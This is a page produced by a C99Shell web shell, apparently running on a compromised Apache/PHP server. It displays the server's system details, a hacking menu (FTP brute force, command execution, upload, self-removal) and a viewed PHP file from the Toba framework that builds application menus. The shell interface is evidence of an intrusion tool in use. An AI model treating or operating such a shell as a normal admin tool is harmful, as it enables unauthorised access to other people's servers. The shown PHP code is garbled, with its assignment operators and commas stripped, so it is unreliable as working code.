!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_usuarios/php/menu/   drwxr-xr-x
Free 14.78 GB of 61.93 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ci_armador_menues.php (11.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ci_armador_menues extends toba_ci
{
    protected 
$s__arbol_cargado false;
    protected 
$s__datos_basicos;
    protected 
$s__filtro;
    protected 
$s__proyecto;
    protected 
$s__ids_enviados;
    protected 
$raiz;
    
    function 
ini__operacion()
    {
        if (! 
is_null(admin_instancia::get_proyecto_defecto())) {
            
$this->s__proyecto admin_instancia::get_proyecto_defecto();
            
$this->s__filtro = array('proyecto' => admin_instancia::get_proyecto_defecto());            
        }        
    }
        
    function 
set_proyecto($proyecto)
    {
        
$this->s__proyecto $proyecto;
    }
    
    function 
get_proyecto()
    {
        return 
$this->s__proyecto;
    }
        
    function 
cortar_arbol()
    {
        unset(
$this->s__arbol_cargado);
    }    
    
    function 
es_edicion()
    {
        return 
$this->dep('datos')->esta_cargada();
    }
    
    function 
conf__arbol_origen($arbol
    {        
        if (! isset(
$this->s__arbol_cargado) || !$this->s__arbol_cargado) {
            
$catalogador = new toba_catalogo_items_menu($this->s__filtro['proyecto']);
            
$catalogador->cargar_todo();            
            
$raiz $catalogador->buscar_carpeta_inicial();    
            
$arbol->set_datos(array($raiz), true);
            
$this->s__arbol_cargado true;
        }
    }
    
    function 
get_ids_enviados()
    {
        if (! isset(
$this->s__ids_enviados)) {            
            
$this->s__ids_enviados $this->dep('arbol_origen')->get_ids_nodos_enviados();
        }
        return 
$this->s__ids_enviados;
    }
    
    
//-----------------------------------------------------------------------------------
    //---- Configuraciones --------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function conf__pant_final(toba_ei_pantalla $pantalla)
    {
        
//Tengo que incorporar la clase del menu, esto lo recupero desde los datos
        
$menu_tipo $this->dep('datos')->tabla('menu')->get_columna('tipo_menu');        
        
$datos_menu consultas_instancia::get_menu_tipos(array('menu' => $menu_tipo));        
        if (! empty(
$datos_menu)) {
            
$raiz toba_proyecto_db::get_item_raiz($this->s__proyecto);
            
$clase basename($datos_menu[0]['archivo'], '.php');
            
$menu = new $clase(false);                        //Creo el menu correspondiente pero no hago carga inicial de items
            
$menu->set_modo_prueba();
            
            
//Se agregan las opciones que se pusieron en el menu y se pasa el objeto a la pantalla para que lo grafique
            
$filas $this->dep('datos')->tabla('operaciones')->get_filas();
            foreach (
$filas as $item) {                        
                
$item['nombre'] = $item['descripcion'];
                
$item['es_primer_nivel'] = ($item['padre'] == $raiz);
                
$menu->agregar_opcion($item);                    
            }
            
            
$pantalla->set_menu($menu);
        }        
    }    
    
    
//-----------------------------------------------------------------------------------
    //---- Eventos ----------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function evt__procesar()
    {
        
//$this->dep('datos')->dump_contenido();
        
$this->dep('datos')->sincronizar();
        
$this->dep('datos')->resetear();
        
$this->set_pantalla('pant_inicial');
        
$this->cortar_arbol();
        unset(
$this->s__ids_enviados);
    }

    function 
evt__cancelar()
    {
        unset(
$this->s__datos_basicos);
        
$this->cortar_arbol();
        
$this->dep('datos')->resetear();
        
$this->set_pantalla('pant_inicial');
        unset(
$this->s__ids_enviados);
    }

    function 
evt__agregar()
    {
        
$this->set_pantalla('pant_basica');
    }    
    
    function 
evt__armar_menu()
    {
        
$this->set_pantalla('pant_armado');
    }
    
    function 
evt__cambiar_texto()
    {
        
$this->set_pantalla('pant_descripciones');
    }

    function 
evt__previsualizar()
    {
        
$this->set_pantalla('pant_final');
    }

    
//-----------------------------------------------------------------------------------
    //---- filtro ------------------------------------------------------------------
    //-----------------------------------------------------------------------------------    
    
function evt__filtro__filtrar($datos)
    {
        
$this->s__filtro $datos;
        
$this->set_proyecto($datos['proyecto']);
    }
    
    function 
evt__filtro__cancelar()
    {
        unset(
$this->s__filtro);
        unset(
$this->s__proyecto);
    }
    
    function 
conf__filtro($componente)
    {
        if (isset(
$this->s__filtro)) {
            
$componente->set_datos($this->s__filtro);
        }        
    }
    
    
//-----------------------------------------------------------------------------------
    //---- cuadro -----------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function conf__cuadro(toba_ei_cuadro $cuadro)
    {
        if (isset(
$this->s__filtro)) {
            
$datos consultas_instancia::get_menus_existentes($this->s__filtro['proyecto']);
            
$cuadro->set_datos($datos);
        }
    }
    
    function 
evt__cuadro__seleccion($seleccion)
    {
        
$this->dep('datos')->cargar($seleccion);
        
$this->set_pantalla('pant_basica');
    }
    
    
//-----------------------------------------------------------------------------------
    //---- form_basico ------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function conf__form_basico(toba_ei_formulario $form)
    {
        if (
$this->dep('datos')->tabla('menu')->get_cantidad_filas() > 0) {
            
$datos $this->dep('datos')->tabla('menu')->get();
            
$form->set_datos($datos);
        }
    }

    function 
evt__form_basico__modificacion($datos)
    {
        
$datos['proyecto'] = $this->s__proyecto;
        
$this->dep('datos')->tabla('menu')->set($datos);        
    }    
    
    
//-----------------------------------------------------------------------------------
    //---- form_armado ------------------------------------------------------------------
    //-----------------------------------------------------------------------------------    
    
function evt__form_armado__modificacion($datos)
    {
        if (isset(
$datos['nivel_inicial'])) {
            unset(
$datos['nivel_inicial']);
        }
        
        if (! empty(
$datos)) {
            
$this->raiz toba_proyecto_db::get_item_raiz($this->s__proyecto);

            
//Recupero los ids enviados por el arbol (lado server)
            
$ids_validos $this->get_ids_enviados();            
            
            
//Armo un arreglo con los ids recuperados en forma de padre/hijo
            
$ids_recuperados = array();            
            foreach (
$datos as $klave => $ids_enviados) {
                
$aux explode('^'$ids_enviados);
                
$ids_recuperados array_merge($ids_recuperados$aux);
                
$datos[$klave] = $aux;
            }
            
            
$diff array_diff($ids_recuperados$ids_validos);
            if (! empty(
$diff)) {
                throw new 
toba_error_seguridad('Una de las opciones indicadas no es valida');
            }

            
//Calculo el complemento para distinguir los elementos eliminados  (tambien estan los no seleccionados, asi que hay un poco mas.. pero bueno)            
            
if ($this->es_edicion()) {
                
$diffr array_diff($ids_validos$ids_recuperados);            
                
$this->quitar_elementos_eliminados($diffr);
            }
                        
            
//Se inserta o actualizan los elementos del menu
            
$this->actualizar_elementos($ids_recuperados$datos);
        }        
    }
    
    protected function 
quitar_elementos_eliminados($elementos)
    {
        foreach (
$elementos as $id) {
            
$cursor $this->dep('datos')->tabla('operaciones')->get_id_fila_condicion(array('item' => $id));
            if (! empty(
$cursor)) {
                
$this->dep('datos')->tabla('operaciones')->eliminar_fila(current($cursor));
            }
        }
    }
    
    protected function 
actualizar_elementos($ids_recuperados$datos)
    {
        
//Aca se recupera la informacion de los items reales del proyecto
        
$items_totales $this->recuperar_info_items();
        foreach (
$ids_recuperados as $id) {
            
$linea = array('item' => $id);
            
$linea['carpeta'] = (isset($items_totales[$id]['carpeta'])) ? $items_totales[$id]['carpeta']: 0;
            
$linea['padre'] = $this->descubrir_padre($datos$id);        
            if (isset(
$items_totales[$id])) {
                
$linea['descripcion'] = $items_totales[$id]['descripcion'];            //Asigno la descripcion de la bd inicialmente
            
}

            if (! 
$this->es_edicion()) {
                
$this->dep('datos')->tabla('operaciones')->nueva_fila($linea);
            } else {
                
$cursor $this->dep('datos')->tabla('operaciones')->get_id_fila_condicion(array('item' => $id));
                if (! empty(
$cursor)) {
                    unset(
$linea['descripcion']);
                    
$this->dep('datos')->tabla('operaciones')->modificar_fila(current($cursor), $linea);            //En la modificacion dejo la descripcion anterior
                
} else {
                    
$this->dep('datos')->tabla('operaciones')->nueva_fila($linea);
                }
            }
            unset(
$linea);
        }
    }        
        
    
//-----------------------------------------------------------------------------------
    //---- AUXILIARES -------------------------------------------------------------------
    //-----------------------------------------------------------------------------------
    
function descubrir_padre($datos$id
    {
        
$padre null;
        foreach (
$datos as $klave => $grupo) {
            if (
in_array($id$grupo)) {
                
$padre $klave;
            }
        }
        
//Si el valor del padre es igual al que se busca, estamos hablando de una carpeta o item de primer nivel
        
$resultado = ($padre == $id) ? $this->raiz $padre;
        return 
$resultado;        
    }
    
    function 
recuperar_info_items()
    {
        
$resultado = array();
        
$datos toba_info_editores::get_lista_items($this->s__proyectofalse);
        foreach (
$datos as $item) {
            
$indx $item['id'];
            
$resultado[$indx] = $item;
        }
        return 
$resultado;
    }
        
    function 
buscar_datos_persistidos()
    {
        
$buscador $this->dep('datos')->tabla('operaciones')->nueva_busqueda();
        
$buscador->set_columnas_orden(array('carpeta' => SORT_DESC));
        
$datos $buscador->buscar_filas();        
        return 
$datos;
    }
    
    function 
get_arreglo_js()
    {
        
$arbol = array();
        
$datos $this->buscar_datos_persistidos();
        foreach (
$datos as $fila) {
            
$indx $fila['item'];
            
$padre $fila['padre'];
            if (! 
is_null($padre) && isset($arbol[$padre])) {
                
$arbol[$padre][] = $fila['item'];
            } else {
                
$arbol[$indx] = array();
            }
        }        
        return 
$arbol;
    }
    
    
    
//------------------------------------------------------------------------------------------------------------------
    //                    SERVICIOS AJAX
    //------------------------------------------------------------------------------------------------------------------
    
function ajax__get_estructura_arbol($parametrostoba_ajax_respuesta $respuesta)
    {
        
//Se arma la estructura del arbol en json para enviarla al plugin JQuery de la anteultima pestaņa.
        
$arbol = array();
        
$datos $this->buscar_datos_persistidos();
        foreach (
$datos as $fila) {
            
$indx $fila['item'];
            
$padre $fila['padre'];
            
$aux = array('id' => $fila['item'], 'text' => $fila['descripcion']);
            if (
$fila['carpeta']) {
                
$aux['children'] = array();
            }
            if (! 
is_null($padre) && isset($arbol[$padre])) {
                
$arbol[$padre]['children'][] = $aux;
            } else {
                
$arbol[$indx] = $aux;
            }
            unset(
$aux);            
        }        
        
$respuesta->set(array_values($arbol));
    }
    
    function 
ajax__set_descripcion_nodo($parametrostoba_ajax_respuesta $respuesta)
    {
        
//Cambia la descripcion del nodo indicado
        
$ids $this->get_ids_enviados();
        
$id_nodo $parametros['id_nodo'];
        if (
in_array($id_nodo$ids)) {            
            
$cursor $this->dep('datos')->tabla('operaciones')->get_id_fila_condicion(array('item' => $id_nodo));
            
$this->dep('datos')->tabla('operaciones')->modificar_fila(current($cursor), array('descripcion' => $parametros['descripcion']));
            
$respuesta->set('OK');
        }     
    }
        
    
//-----------------------------------------------------------------------------------
    //---- JAVASCRIPT -------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function extender_objeto_js()
    {
        
//Se encarga de crear los hiddens necesarios en el form y agregarle los ids de los nodos seleccionados de manera grafica..
        
echo "
        //---- Eventos ---------------------------------------------        
        
{$this->objeto_js}.evt__cambiar_texto = function()
        {
            var id_hidden, ind;
            this.dep('form_armado').ef('nivel_inicial').set_estado(Object.keys(arbol).join('^'));
            for (ind in arbol) {
                id_hidden = ind + '__hidden';                        
                if (arbol[ind].length > 0) {
                    arbol[ind].push(ind);
                    document.getElementById(id_hidden).value = arbol[ind].join('^');
                } else {
                    document.getElementById(id_hidden).value = ind;
                }
            }
            return true;
        }
        "
;
    }    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5988 ]--